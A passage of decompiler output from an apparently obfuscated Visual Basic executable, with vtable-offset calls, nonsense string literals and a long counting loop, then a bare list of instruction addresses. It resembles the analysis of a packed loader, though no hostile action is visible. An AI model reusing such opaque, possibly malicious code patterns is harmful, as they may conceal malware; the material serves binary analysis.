				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x718))(_a4,  &_v128, 0x10,  &_v144,  &_v256);
				_v36 = _v256;
				_v32 = _v252;
				_push( &_v92);
				_push( &_v88);
				_push(2);
				L004012CE();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401334();
				_t1639 = _t1637 + 0x18;
				if( *0x410010 != 0) {
					_v464 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v464 = 0x410010;
				}
				_t1179 =  &_v88;
				L004012E6();
				_v268 = _t1179;
				_t1183 =  *((intOrPtr*)( *_v268 + 0xb0))(_v268,  &_v92, _t1179,  *((intOrPtr*)( *((intOrPtr*)( *_v464)) + 0x320))( *_v464));
				asm("fclex");
				_v272 = _t1183;
				if(_v272 >= 0) {
					_v468 = _v468 & 0x00000000;
				} else {
					_push(0xb0);
					_push(0x40b7ec);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v468 = _t1183;
				}
				_push(0);
				_push(0);
				_push(_v92);
				_push( &_v128);
				L004012C8();
				_t1640 = _t1639 + 0x10;
				if( *0x410010 != 0) {
					_v472 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v472 = 0x410010;
				}
				_t1188 =  &_v96;
				L004012E6();
				_v276 = _t1188;
				_t1192 =  *((intOrPtr*)( *_v276 + 0x148))(_v276,  &_v80, _t1188,  *((intOrPtr*)( *((intOrPtr*)( *_v472)) + 0x314))( *_v472));
				asm("fclex");
				_v280 = _t1192;
				if(_v280 >= 0) {
					_v476 = _v476 & 0x00000000;
				} else {
					_push(0x148);
					_push(0x40b7bc);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v476 = _t1192;
				}
				if( *0x410010 != 0) {
					_v480 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v480 = 0x410010;
				}
				_t1196 =  &_v100;
				L004012E6();
				_v284 = _t1196;
				_t1200 =  *((intOrPtr*)( *_v284 + 0x80))(_v284,  &_v236, _t1196,  *((intOrPtr*)( *((intOrPtr*)( *_v480)) + 0x314))( *_v480));
				asm("fclex");
				_v288 = _t1200;
				if(_v288 >= 0) {
					_v484 = _v484 & 0x00000000;
				} else {
					_push(0x80);
					_push(0x40b7bc);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v484 = _t1200;
				}
				if( *0x410010 != 0) {
					_v488 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v488 = 0x410010;
				}
				_t1204 =  &_v104;
				L004012E6();
				_v292 = _t1204;
				_t1208 =  *((intOrPtr*)( *_v292 + 0x170))(_v292,  &_v108, _t1204,  *((intOrPtr*)( *((intOrPtr*)( *_v488)) + 0x308))( *_v488));
				asm("fclex");
				_v296 = _t1208;
				if(_v296 >= 0) {
					_v492 = _v492 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x40b744);
					_push(_v292);
					_push(_v296);
					L004012EC();
					_v492 = _t1208;
				}
				if( *0x410010 != 0) {
					_v496 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v496 = 0x410010;
				}
				_t1534 =  *((intOrPtr*)( *_v496));
				_t1212 =  &_v112;
				L004012E6();
				_v300 = _t1212;
				_t1216 =  *((intOrPtr*)( *_v300 + 0x60))(_v300,  &_v240, _t1212,  *((intOrPtr*)(_t1534 + 0x2fc))( *_v496));
				asm("fclex");
				_v304 = _t1216;
				if(_v304 >= 0) {
					_v500 = _v500 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v300);
					_push(_v304);
					L004012EC();
					_v500 = _t1216;
				}
				_v168 = 0x23fd7a;
				_v176 = 3;
				_v244 = 0x8789b5;
				_v332 = _v108;
				_v108 = _v108 & 0x00000000;
				_v152 = _v332;
				_v160 = 9;
				_v336 = _v80;
				_v80 = _v80 & 0x00000000;
				_v136 = _v336;
				_v144 = 8;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v516 = _v236;
				_t1226 =  &_v128;
				L004012C2();
				 *((intOrPtr*)( *_a4 + 0x71c))(_a4, _t1226, _t1226,  &_v144, 0x8e1c83f0, 0x5af9, _t1534, 0x10, _v240,  &_v244,  &_v176,  &_v192);
				L004012BC();
				_push( &_v92);
				_push( &_v112);
				_push( &_v104);
				_push( &_v100);
				_push( &_v96);
				_push( &_v88);
				_push(6);
				L004012CE();
				_push( &_v176);
				_push( &_v160);
				_push( &_v144);
				_push( &_v128);
				_push(4);
				L00401334();
				_t1642 = _t1640 + 0x30;
				if( *0x410010 != 0) {
					_v504 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v504 = 0x410010;
				}
				_t1243 =  &_v88;
				L004012E6();
				_v268 = _t1243;
				_t1247 =  *((intOrPtr*)( *_v268 + 0x60))(_v268,  &_v236, _t1243,  *((intOrPtr*)( *((intOrPtr*)( *_v504)) + 0x304))( *_v504));
				asm("fclex");
				_v272 = _t1247;
				if(_v272 >= 0) {
					_v508 = _v508 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v508 = _t1247;
				}
				if( *0x410010 != 0) {
					_v512 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v512 = 0x410010;
				}
				_t1251 =  &_v92;
				L004012E6();
				_v276 = _t1251;
				_t1255 =  *((intOrPtr*)( *_v276 + 0xf8))(_v276,  &_v80, _t1251,  *((intOrPtr*)( *((intOrPtr*)( *_v512)) + 0x300))( *_v512));
				asm("fclex");
				_v280 = _t1255;
				if(_v280 >= 0) {
					_v516 = _v516 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x40b744);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v516 = _t1255;
				}
				if( *0x410010 != 0) {
					_v520 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v520 = 0x410010;
				}
				_t1259 =  &_v96;
				L004012E6();
				_v284 = _t1259;
				_t1263 =  *((intOrPtr*)( *_v284 + 0x128))(_v284,  &_v228, _t1259,  *((intOrPtr*)( *((intOrPtr*)( *_v520)) + 0x300))( *_v520));
				asm("fclex");
				_v288 = _t1263;
				if(_v288 >= 0) {
					_v524 = _v524 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x40b744);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v524 = _t1263;
				}
				_v248 =  *0x401140;
				_v120 = 0x1f4a08;
				_v128 = 3;
				_v256 = 0xb6a66b00;
				_v252 = 0x5aff;
				_v244 = _v236;
				_v240 =  *0x40113c;
				 *((intOrPtr*)( *_a4 + 0x720))(_a4,  &_v240, 0xf5a230c0, 0x5af3,  &_v244,  &_v256, L"Rearouses",  &_v128, _v80,  &_v248, _v228,  &_v264);
				_v68 = _v264;
				L00401364();
				_push( &_v96);
				_push( &_v92);
				_push( &_v88);
				_push(3);
				L004012CE();
				_t1643 = _t1642 + 0x10;
				L00401352();
				if( *0x410010 != 0) {
					_v528 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v528 = 0x410010;
				}
				_t1280 =  &_v88;
				L004012E6();
				_v268 = _t1280;
				_t1284 =  *((intOrPtr*)( *_v268 + 0x50))(_v268,  &_v80, _t1280,  *((intOrPtr*)( *((intOrPtr*)( *_v528)) + 0x314))( *_v528));
				asm("fclex");
				_v272 = _t1284;
				if(_v272 >= 0) {
					_v532 = _v532 & 0x00000000;
				} else {
					_push(0x50);
					_push(0x40b7bc);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v532 = _t1284;
				}
				if( *0x410010 != 0) {
					_v536 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v536 = 0x410010;
				}
				_t1288 =  &_v92;
				L004012E6();
				_v276 = _t1288;
				_t1292 =  *((intOrPtr*)( *_v276 + 0x170))(_v276,  &_v96, _t1288,  *((intOrPtr*)( *((intOrPtr*)( *_v536)) + 0x308))( *_v536));
				asm("fclex");
				_v280 = _t1292;
				if(_v280 >= 0) {
					_v540 = _v540 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x40b744);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v540 = _t1292;
				}
				if( *0x410010 != 0) {
					_v544 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v544 = 0x410010;
				}
				_t1296 =  &_v100;
				L004012E6();
				_v284 = _t1296;
				_t1300 =  *((intOrPtr*)( *_v284 + 0x60))(_v284,  &_v236, _t1296,  *((intOrPtr*)( *((intOrPtr*)( *_v544)) + 0x300))( *_v544));
				asm("fclex");
				_v288 = _t1300;
				if(_v288 >= 0) {
					_v548 = _v548 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v548 = _t1300;
				}
				_v264 = 0xb47a6a0;
				_v260 = 0x5b01;
				_v152 = _v236;
				_v160 = 3;
				_v340 = _v96;
				_v96 = _v96 & 0x00000000;
				_v136 = _v340;
				_v144 = 9;
				_v240 = 0x2900f5;
				_v344 = _v80;
				_v80 = _v80 & 0x00000000;
				_v120 = _v344;
				_v128 = 8;
				_v256 = 0xf61631d0;
				_v252 = 0x5aff;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1314 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v256, 0x10,  &_v240, L"Dlgsmaals",  &_v144,  &_v160,  &_v264);
				_v292 = _t1314;
				if(_v292 >= 0) {
					_v552 = _v552 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x40b498);
					_push(_a4);
					_push(_v292);
					L004012EC();
					_v552 = _t1314;
				}
				L004012CE();
				L00401334();
				_t1645 = _t1643 + 0x20;
				_t1323 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 3,  &_v128,  &_v144,  &_v160, 3,  &_v88,  &_v92,  &_v100);
				asm("fclex");
				_v268 = _t1323;
				if(_v268 >= 0) {
					_v556 = _v556 & 0x00000000;
				} else {
					_push(0x2b4);
					_push(0x40b468);
					_push(_a4);
					_push(_v268);
					L004012EC();
					_v556 = _t1323;
				}
				L148:
				L148:
				if( *0x410010 != 0) {
					_v560 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v560 = 0x410010;
				}
				_t1327 =  &_v88;
				L004012E6();
				_v268 = _t1327;
				_t1331 =  *((intOrPtr*)( *_v268 + 0x60))(_v268,  &_v236, _t1327,  *((intOrPtr*)( *((intOrPtr*)( *_v560)) + 0x304))( *_v560));
				asm("fclex");
				_v272 = _t1331;
				if(_v272 >= 0) {
					_v564 = _v564 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v564 = _t1331;
				}
				if( *0x410010 != 0) {
					_v568 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v568 = 0x410010;
				}
				_t1335 =  &_v92;
				L004012E6();
				_v276 = _t1335;
				_t1339 =  *((intOrPtr*)( *_v276 + 0xf8))(_v276,  &_v80, _t1335,  *((intOrPtr*)( *((intOrPtr*)( *_v568)) + 0x300))( *_v568));
				asm("fclex");
				_v280 = _t1339;
				if(_v280 >= 0) {
					_v572 = _v572 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x40b744);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v572 = _t1339;
				}
				if( *0x410010 != 0) {
					_v576 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v576 = 0x410010;
				}
				_t1343 =  &_v96;
				L004012E6();
				_v284 = _t1343;
				_t1347 =  *((intOrPtr*)( *_v284 + 0x128))(_v284,  &_v228, _t1343,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x300))( *_v576));
				asm("fclex");
				_v288 = _t1347;
				if(_v288 >= 0) {
					_v580 = _v580 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x40b744);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v580 = _t1347;
				}
				_v248 =  *0x401140;
				_v120 = 0x1f4a08;
				_v128 = 3;
				_v256 = 0xb6a66b00;
				_v252 = 0x5aff;
				_v244 = _v236;
				_v240 =  *0x40113c;
				 *((intOrPtr*)( *_a4 + 0x720))(_a4,  &_v240, 0xf5a230c0, 0x5af3,  &_v244,  &_v256, L"Rearouses",  &_v128, _v80,  &_v248, _v228,  &_v264);
				_v68 = _v264;
				L00401364();
				_push( &_v96);
				_push( &_v92);
				_push( &_v88);
				_push(3);
				L004012CE();
				_t1646 = _t1645 + 0x10;
				L00401352();
				if( *0x410010 != 0) {
					_v584 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v584 = 0x410010;
				}
				_t1364 =  &_v88;
				L004012E6();
				_v268 = _t1364;
				_t1368 =  *((intOrPtr*)( *_v268 + 0x50))(_v268,  &_v80, _t1364,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x314))( *_v584));
				asm("fclex");
				_v272 = _t1368;
				if(_v272 >= 0) {
					_v588 = _v588 & 0x00000000;
				} else {
					_push(0x50);
					_push(0x40b7bc);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v588 = _t1368;
				}
				if( *0x410010 != 0) {
					_v592 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v592 = 0x410010;
				}
				_t1372 =  &_v92;
				L004012E6();
				_v276 = _t1372;
				_t1376 =  *((intOrPtr*)( *_v276 + 0x170))(_v276,  &_v96, _t1372,  *((intOrPtr*)( *((intOrPtr*)( *_v592)) + 0x308))( *_v592));
				asm("fclex");
				_v280 = _t1376;
				if(_v280 >= 0) {
					_v596 = _v596 & 0x00000000;
				} else {
					_push(0x170);
					_push(0x40b744);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v596 = _t1376;
				}
				if( *0x410010 != 0) {
					_v600 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v600 = 0x410010;
				}
				_t1380 =  &_v100;
				L004012E6();
				_v284 = _t1380;
				_t1384 =  *((intOrPtr*)( *_v284 + 0x60))(_v284,  &_v236, _t1380,  *((intOrPtr*)( *((intOrPtr*)( *_v600)) + 0x300))( *_v600));
				asm("fclex");
				_v288 = _t1384;
				if(_v288 >= 0) {
					_v604 = _v604 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40b744);
					_push(_v284);
					_push(_v288);
					L004012EC();
					_v604 = _t1384;
				}
				_v264 = 0xb47a6a0;
				_v260 = 0x5b01;
				_v152 = _v236;
				_v160 = 3;
				_v348 = _v96;
				_v96 = _v96 & 0x00000000;
				_v136 = _v348;
				_v144 = 9;
				_v240 = 0x2900f5;
				_v352 = _v80;
				_v80 = _v80 & 0x00000000;
				_v120 = _v352;
				_v128 = 8;
				_v256 = 0xf61631d0;
				_v252 = 0x5aff;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t1398 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v256, 0x10,  &_v240, L"Dlgsmaals",  &_v144,  &_v160,  &_v264);
				_v292 = _t1398;
				if(_v292 >= 0) {
					_v608 = _v608 & 0x00000000;
				} else {
					_push(0x704);
					_push(0x40b498);
					_push(_a4);
					_push(_v292);
					L004012EC();
					_v608 = _t1398;
				}
				_push( &_v100);
				_push( &_v92);
				_push( &_v88);
				_push(3);
				L004012CE();
				_push( &_v160);
				_push( &_v144);
				_push( &_v128);
				_push(3);
				L00401334();
				_t1648 = _t1646 + 0x20;
				if( *0x410010 != 0) {
					_v612 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v612 = 0x410010;
				}
				_t1408 =  &_v88;
				L004012E6();
				_v268 = _t1408;
				_t1412 =  *((intOrPtr*)( *_v268 + 0x128))(_v268,  &_v236, _t1408,  *((intOrPtr*)( *((intOrPtr*)( *_v612)) + 0x318))( *_v612));
				asm("fclex");
				_v272 = _t1412;
				if(_v272 >= 0) {
					_v616 = _v616 & 0x00000000;
				} else {
					_push(0x128);
					_push(0x40b7bc);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v616 = _t1412;
				}
				if( *0x410010 != 0) {
					_v620 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v620 = 0x410010;
				}
				_t1416 =  &_v92;
				L004012E6();
				_v276 = _t1416;
				_t1420 =  *((intOrPtr*)( *_v276 + 0x120))(_v276,  &_v96, _t1416,  *((intOrPtr*)( *((intOrPtr*)( *_v620)) + 0x310))( *_v620));
				asm("fclex");
				_v280 = _t1420;
				if(_v280 >= 0) {
					_v624 = _v624 & 0x00000000;
				} else {
					_push(0x120);
					_push(0x40b7bc);
					_push(_v276);
					_push(_v280);
					L004012EC();
					_v624 = _t1420;
				}
				_v356 = _v96;
				_v96 = _v96 & 0x00000000;
				_v136 = _v356;
				_v144 = 9;
				_v216 = _v236;
				_v224 = 3;
				_v200 = L"HALFPACE";
				_v208 = 8;
				L004012D4();
				L004011F0();
				_t1622 =  &_v224;
				_t1609 = _t1648;
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *((intOrPtr*)( *_a4 + 0x718))(_a4,  &_v128, 0x10,  &_v144,  &_v256);
				_v36 = _v256;
				_v32 = _v252;
				_push( &_v92);
				_push( &_v88);
				_push(2);
				L004012CE();
				_push( &_v144);
				_push( &_v128);
				_push(2);
				L00401334();
				_t1645 = _t1648 + 0x18;
				if( *0x410010 != 0) {
					_v628 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v628 = 0x410010;
				}
				_t1440 =  &_v88;
				L004012E6();
				_v268 = _t1440;
				_t1444 =  *((intOrPtr*)( *_v268 + 0xf8))(_v268,  &_v80, _t1440,  *((intOrPtr*)( *((intOrPtr*)( *_v628)) + 0x308))( *_v628));
				asm("fclex");
				_v272 = _t1444;
				if(_v272 >= 0) {
					_v632 = _v632 & 0x00000000;
				} else {
					_push(0xf8);
					_push(0x40b744);
					_push(_v268);
					_push(_v272);
					L004012EC();
					_v632 = _t1444;
				}
				L00401322();
				_v236 = 0x43683d;
				_v360 = _v80;
				_v80 = _v80 & 0x00000000;
				_v120 = _v360;
				_v128 = 8;
				_t1452 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v128,  &_v236,  &_v84);
				_v276 = _t1452;
				if(_v276 >= 0) {
					_v636 = _v636 & 0x00000000;
				} else {
					_push(0x6fc);
					_push(0x40b498);
					_push(_a4);
					_push(_v276);
					L004012EC();
					_v636 = _t1452;
				}
				L00401364();
				L004012DA();
				L00401352();
				_t1454 = _v28 + 1;
				if(_t1454 < 0) {
					goto L213;
				}
				_v28 = _t1454;
				if(_v28 < 0x1ab0b) {
					goto L148;
				}
				_t1472 =  *((intOrPtr*)( *_a4 + 0x708))(_a4);
				_v8 = 0;
				asm("wait");
				_push(E0040E561);
				L00401352();
				return _t1472;
				L213:
				L004012FE();
				_t1650 = _t1645 - 0xc;
				 *[fs:0x0] = _t1650;
				L004011F0();
				_v1044 = _t1650;
				_v1040 = 0x401160;
				_v1036 = 0;
				 *((intOrPtr*)( *_v1024 + 4))(_v1024, _t1609, _t1622, _t1478, 0x4c,  *[fs:0x0], 0x4011f6, _t1629);
				if( *0x410010 != 0) {
					_v100 = 0x410010;
				} else {
					_push(0x410010);
					_push(0x40ab94);
					L004012E0();
					_v100 = 0x410010;
				}
				_t1592 =  *((intOrPtr*)( *_v100));
				_t1463 =  &_v32;
				L004012E6();
				_v84 = _t1463;
				_v72 = 0x80020004;
				_v80 = 0xa;
				_v56 = 0x80020004;
				_v64 = 0xa;
				_v40 = 0x80020004;
				_v48 = 0xa;
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004011F0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t1650 =  *0x401158;
				_t1469 =  *((intOrPtr*)( *_v84 + 0x178))(_v84, _t1592, 0x10, 0x10, 0x10, _t1463,  *((intOrPtr*)(_t1592 + 0x318))( *_v100));
				asm("fclex");
				_v88 = _t1469;
				if(_v88 >= 0) {
					_v104 = _v104 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x40b7bc);
					_push(_v84);
					_push(_v88);
					L004012EC();
					_v104 = _t1469;
				}
				L004012DA();
				asm("wait");
				_push(E0040E6C5);
				return _t1469;
			}

0x0040c49a
0x0040c49b
0x0040c49d
0x0040c4ac
0x0040c4b8
0x0040c4c0
0x0040c4c3
0x0040c4d0
0x0040c4d9
0x0040c4e4
0x0040c4e7
0x0040c4ec
0x0040c4f4
0x0040c4fa
0x0040c504
0x0040c50e
0x0040c518
0x0040c525
0x0040c532
0x0040c533
0x0040c534
0x0040c535
0x0040c539
0x0040c546
0x0040c547
0x0040c548
0x0040c549
0x0040c552
0x0040c558
0x0040c55a
0x0040c567
0x0040c589
0x0040c569
0x0040c569
0x0040c56e
0x0040c573
0x0040c576
0x0040c57c
0x0040c581
0x0040c581
0x0040c567
0x0040c597
0x0040c5b4
0x0040c599
0x0040c599
0x0040c59e
0x0040c5a3
0x0040c5a8
0x0040c5a8
0x0040c5d8
0x0040c5dc
0x0040c5e1
0x0040c5f9
0x0040c5ff
0x0040c601
0x0040c60e
0x0040c633
0x0040c610
0x0040c610
0x0040c615
0x0040c61a
0x0040c620
0x0040c626
0x0040c62b
0x0040c62b
0x0040c642
0x0040c647
0x0040c654
0x0040c65a
0x0040c664
0x0040c667
0x0040c672
0x0040c685
0x0040c68b
0x0040c698
0x0040c6ba
0x0040c69a
0x0040c69a
0x0040c69f
0x0040c6a4
0x0040c6a7
0x0040c6ad
0x0040c6b2
0x0040c6b2
0x0040c6c4
0x0040c6cc
0x0040c6d4
0x0040c6e0
0x0040c6fd
0x0040c6e2
0x0040c6e2
0x0040c6e7
0x0040c6ec
0x0040c6f1
0x0040c6f1
0x0040c721
0x0040c725
0x0040c72a
0x0040c730
0x0040c745
0x0040c748
0x0040c74a
0x0040c757
0x0040c779
0x0040c759
0x0040c759
0x0040c75b
0x0040c760
0x0040c766
0x0040c76c
0x0040c771
0x0040c771
0x0040c787
0x0040c7a4
0x0040c789
0x0040c789
0x0040c78e
0x0040c793
0x0040c798
0x0040c798
0x0040c7c8
0x0040c7cc
0x0040c7d1
0x0040c7ec
0x0040c7ef
0x0040c7f1
0x0040c7fe
0x0040c820
0x0040c800
0x0040c800
0x0040c802
0x0040c807
0x0040c80d
0x0040c813
0x0040c818
0x0040c818
0x0040c82e
0x0040c84b
0x0040c830
0x0040c830
0x0040c835
0x0040c83a
0x0040c83f
0x0040c83f
0x0040c86f
0x0040c873
0x0040c878
0x0040c893
0x0040c896
0x0040c898
0x0040c8a5
0x0040c8c7
0x0040c8a7
0x0040c8a7
0x0040c8a9
0x0040c8ae
0x0040c8b4
0x0040c8ba
0x0040c8bf
0x0040c8bf
0x0040c8ce
0x0040c8d8
0x0040c8e2
0x0040c8eb
0x0040c8f5
0x0040c905
0x0040c90b
0x0040c915
0x0040c928
0x0040c956
0x0040c97c
0x0040c988
0x0040c991
0x0040c997
0x0040c99b
0x0040c99f
0x0040c9a0
0x0040c9a2
0x0040c9b0
0x0040c9b4
0x0040c9b5
0x0040c9b7
0x0040c9bc
0x0040c9c6
0x0040c9e3
0x0040c9c8
0x0040c9c8
0x0040c9cd
0x0040c9d2
0x0040c9d7
0x0040c9d7
0x0040ca07
0x0040ca0b
0x0040ca10
0x0040ca2b
0x0040ca31
0x0040ca33
0x0040ca40
0x0040ca65
0x0040ca42
0x0040ca42
0x0040ca47
0x0040ca4c
0x0040ca52
0x0040ca58
0x0040ca5d
0x0040ca5d
0x0040ca73
0x0040ca90
0x0040ca75
0x0040ca75
0x0040ca7a
0x0040ca7f
0x0040ca84
0x0040ca84
0x0040cab4
0x0040cab8
0x0040cabd
0x0040cad5
0x0040cadb
0x0040cadd
0x0040caea
0x0040cb0f
0x0040caec
0x0040caec
0x0040caf1
0x0040caf6
0x0040cafc
0x0040cb02
0x0040cb07
0x0040cb07
0x0040cb1d
0x0040cb3a
0x0040cb1f
0x0040cb1f
0x0040cb24
0x0040cb29
0x0040cb2e
0x0040cb2e
0x0040cb5e
0x0040cb62
0x0040cb67
0x0040cb82
0x0040cb88
0x0040cb8a
0x0040cb97
0x0040cbbc
0x0040cb99
0x0040cb99
0x0040cb9e
0x0040cba3
0x0040cba9
0x0040cbaf
0x0040cbb4
0x0040cbb4
0x0040cbca
0x0040cbe7
0x0040cbcc
0x0040cbcc
0x0040cbd1
0x0040cbd6
0x0040cbdb
0x0040cbdb
0x0040cc0b
0x0040cc0f
0x0040cc14
0x0040cc2f
0x0040cc35
0x0040cc37
0x0040cc44
0x0040cc69
0x0040cc46
0x0040cc46
0x0040cc4b
0x0040cc50
0x0040cc56
0x0040cc5c
0x0040cc61
0x0040cc61
0x0040cc77
0x0040cc94
0x0040cc79
0x0040cc79
0x0040cc7e
0x0040cc83
0x0040cc88
0x0040cc88
0x0040ccb8
0x0040ccbc
0x0040ccc1
0x0040ccd9
0x0040ccdf
0x0040cce1
0x0040ccee
0x0040cd13
0x0040ccf0
0x0040ccf0
0x0040ccf5
0x0040ccfa
0x0040cd00
0x0040cd06
0x0040cd0b
0x0040cd0b
0x0040cd28
0x0040cd2d
0x0040cd36
0x0040cd43
0x0040cd52
0x0040cd5a
0x0040cd60
0x0040cd6a
0x0040cd6d
0x0040cd7a
0x0040cd87
0x0040cd8e
0x0040cdae
0x0040cdb8
0x0040cdb9
0x0040cdba
0x0040cdbb
0x0040cdcb
0x0040cdd1
0x0040cdde
0x0040ce00
0x0040cde0
0x0040cde0
0x0040cde5
0x0040cdea
0x0040cded
0x0040cdf3
0x0040cdf8
0x0040cdf8
0x0040ce0d
0x0040ce16
0x0040ce1c
0x0040ce3b
0x0040ce50
0x0040ce55
0x0040ce58
0x0040ce62
0x0040ce74
0x0040ce81
0x0040ce82
0x0040ce83
0x0040ce84
0x0040ce92
0x0040ce9f
0x0040cebc
0x0040cea1
0x0040cea1
0x0040cea6
0x0040ceab
0x0040ceb0
0x0040ceb0
0x0040cee0
0x0040cee4
0x0040cee9
0x0040cf04
0x0040cf0a
0x0040cf0c
0x0040cf19
0x0040cf3e
0x0040cf1b
0x0040cf1b
0x0040cf20
0x0040cf25
0x0040cf2b
0x0040cf31
0x0040cf36
0x0040cf36
0x0040cf4c
0x0040cf69
0x0040cf4e
0x0040cf4e
0x0040cf53
0x0040cf58
0x0040cf5d
0x0040cf5d
0x0040cf8d
0x0040cf91
0x0040cf96
0x0040cfae
0x0040cfb4
0x0040cfb6
0x0040cfc3
0x0040cfe8
0x0040cfc5
0x0040cfc5
0x0040cfca
0x0040cfcf
0x0040cfd5
0x0040cfdb
0x0040cfe0
0x0040cfe0
0x0040cff2
0x0040cff8
0x0040d002
0x0040d008
0x0040d018
0x0040d01e
0x0040d028
0x0040d032
0x0040d045
0x0040d05b
0x0040d068
0x0040d069
0x0040d06a
0x0040d06b
0x0040d078
0x0040d084
0x0040d08d
0x0040d093
0x0040d097
0x0040d098
0x0040d09a
0x0040d0a8
0x0040d0ac
0x0040d0ad
0x0040d0af
0x0040d0b4
0x0040d0be
0x0040d0db
0x0040d0c0
0x0040d0c0
0x0040d0c5
0x0040d0ca
0x0040d0cf
0x0040d0cf
0x0040d0ff
0x0040d103
0x0040d108
0x0040d120
0x0040d126
0x0040d128
0x0040d135
0x0040d15a
0x0040d137
0x0040d137
0x0040d13c
0x0040d141
0x0040d147
0x0040d14d
0x0040d152
0x0040d152
0x0040d161
0x0040d163
0x0040d165
0x0040d16b
0x0040d16c
0x0040d171
0x0040d17b
0x0040d198
0x0040d17d
0x0040d17d
0x0040d182
0x0040d187
0x0040d18c
0x0040d18c
0x0040d1bc
0x0040d1c0
0x0040d1c5
0x0040d1dd
0x0040d1e3
0x0040d1e5
0x0040d1f2
0x0040d217
0x0040d1f4
0x0040d1f4
0x0040d1f9
0x0040d1fe
0x0040d204
0x0040d20a
0x0040d20f
0x0040d20f
0x0040d225
0x0040d242
0x0040d227
0x0040d227
0x0040d22c
0x0040d231
0x0040d236
0x0040d236
0x0040d266
0x0040d26a
0x0040d26f
0x0040d28a
0x0040d290
0x0040d292
0x0040d29f
0x0040d2c4
0x0040d2a1
0x0040d2a1
0x0040d2a6
0x0040d2ab
0x0040d2b1
0x0040d2b7
0x0040d2bc
0x0040d2bc
0x0040d2d2
0x0040d2ef
0x0040d2d4
0x0040d2d4
0x0040d2d9
0x0040d2de
0x0040d2e3
0x0040d2e3
0x0040d313
0x0040d317
0x0040d31c
0x0040d334
0x0040d33a
0x0040d33c
0x0040d349
0x0040d36e
0x0040d34b
0x0040d34b
0x0040d350
0x0040d355
0x0040d35b
0x0040d361
0x0040d366
0x0040d366
0x0040d37c
0x0040d399
0x0040d37e
0x0040d37e
0x0040d383
0x0040d388
0x0040d38d
0x0040d38d
0x0040d3b3
0x0040d3bd
0x0040d3c1
0x0040d3c6
0x0040d3e1
0x0040d3e4
0x0040d3e6
0x0040d3f3
0x0040d415
0x0040d3f5
0x0040d3f5
0x0040d3f7
0x0040d3fc
0x0040d402
0x0040d408
0x0040d40d
0x0040d40d
0x0040d41c
0x0040d426
0x0040d430
0x0040d43d
0x0040d443
0x0040d44d
